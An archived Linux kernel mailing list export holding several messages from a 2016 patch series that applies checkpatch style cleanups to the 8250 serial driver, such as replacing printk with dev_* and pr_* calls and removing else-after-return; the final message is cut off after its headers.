the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 05/15] tty: serial: 8250: Remove else after return
Date: Wed, 13 Jan 2016 22:29:11 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <1452720561-28443-6-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720808 11967 80.91.229.3 (13 Jan 2016 21:33:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:33:28 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:33:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT2c-0008Lg-Mm
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:33:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754025AbcAMVaG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:30:06 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49432 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753050AbcAMV37 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:29:59 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 56EB058C4D0;
	Wed, 13 Jan 2016 22:29:57 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:57 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126251 gmane.linux.serial:21552 gmane.linux.ports.parisc:26388
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126251>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 534ca18..8543719 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,12 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev,
+			"NetMos/Mostech serial driver ignoring port on ambiguous config.\n"=
);
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 10/15] tty: serial: 8250: Suitably replace printk
Date: Wed, 13 Jan 2016 22:29:16 +0100
Lines: 160
Approved: news@gmane.org
Message-ID: <1452720561-28443-11-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720818 12024 80.91.229.3 (13 Jan 2016 21:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:33:38 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de,
	=?UTF-8?q?Anton=20W=C3=BCrfel?= <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:33:30 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT2n-0008TV-JP
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:33:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755014AbcAMVdT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:33:19 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49481 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753973AbcAMVaF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 2873658C4D4;
	Wed, 13 Jan 2016 22:30:03 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:03 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126252 gmane.linux.serial:21553 gmane.linux.ports.parisc:26389
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126252>

=46rom: Phillip Raffeck <phillip.raffeck@fau.de>

This patch replaces printk by the corresponding variant of dev_* in ord=
er
to fix checkpatch warnings. If no suitable device pointer is present, t=
he
corresponding pr_* variant is used.

Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  7 ++++---
 drivers/tty/serial/8250/8250_hp300.c | 20 +++++++++++---------
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 4 files changed, 18 insertions(+), 17 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index b60b58b..d6b4906 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1094,9 +1094,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..b1e6ae9 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,7 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
+			dev_info(&dev->dev,
 				"Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
@@ -66,8 +66,9 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		dev_warn(&dev->dev,
+			"serial8250_register_8250_port returned error %d\n",
+			err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index cf566bb..38166db 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -127,7 +127,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -141,13 +141,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("%s: early_serial_setup() failed.\n", __func__);
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -179,8 +179,9 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
-		       " irq %d failed\n", d->scode, uart.port.irq);
+		dev_notice(&d->dev,
+			  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
+			  d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
=20
@@ -260,8 +261,9 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
-			       " %d irq %d failed\n", i, uart.port.irq);
+			dev_notice(uart.port.dev,
+				   "8250_hp300: register_serial() APCI %d irq %d failed\n",
+				   i, uart.port.irq);
 			kfree(port);
 			continue;
 		}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 5375c24..25fd6b4 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 09/15] tty: serial: 8250: Fix multi-line strings
Date: Wed, 13 Jan 2016 22:29:15 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <1452720561-28443-10-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720837 12467 80.91.229.3 (13 Jan 2016 21:33:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:33:57 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:33:50 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT37-0000BE-Kn
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:33:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755139AbcAMVdk convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:33:40 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49536 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753954AbcAMVaF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 0D7EC58C4DD;
	Wed, 13 Jan 2016 22:30:02 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:02 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126253 gmane.linux.serial:21554 gmane.linux.ports.parisc:26390
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126253>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 4 ++--
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index d042ad5..b60b58b 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1173,8 +1173,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 2b7309d..933c268 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -533,8 +533,8 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev,
+				 "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 07/15] tty: serial: 8250: Fix line continuation warning
Date: Wed, 13 Jan 2016 22:29:13 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1452720561-28443-8-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720868 12779 80.91.229.3 (13 Jan 2016 21:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:34:28 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:34:20 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT3T-0000QU-5U
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:34:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755599AbcAMVeB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:34:01 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49445 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753943AbcAMVaD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:03 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D1DC358C4D8;
	Wed, 13 Jan 2016 22:29:59 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:29:59 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126254 gmane.linux.serial:21555 gmane.linux.ports.parisc:26391
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126254>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1



From - Thu Nov 08 21:38:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v6 08/15] tty: serial: 8250: Add parentheses to macro
Date: Wed, 13 Jan 2016 22:29:14 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1452720561-28443-9-git-send-email-anton.wuerfel@fau.de>
References: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452720881 12922 80.91.229.3 (13 Jan 2016 21:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 21:34:41 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 22:34:31 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJT3j-0000Y3-FF
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 22:34:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755476AbcAMVeA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 16:34:00 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:49519 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753944AbcAMVaD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 16:30:03 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id E631A58C4CA;
	Wed, 13 Jan 2016 22:30:00 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 22:30:00 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452720561-28443-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126255 gmane.linux.serial:21556 gmane.linux.ports.parisc:26392
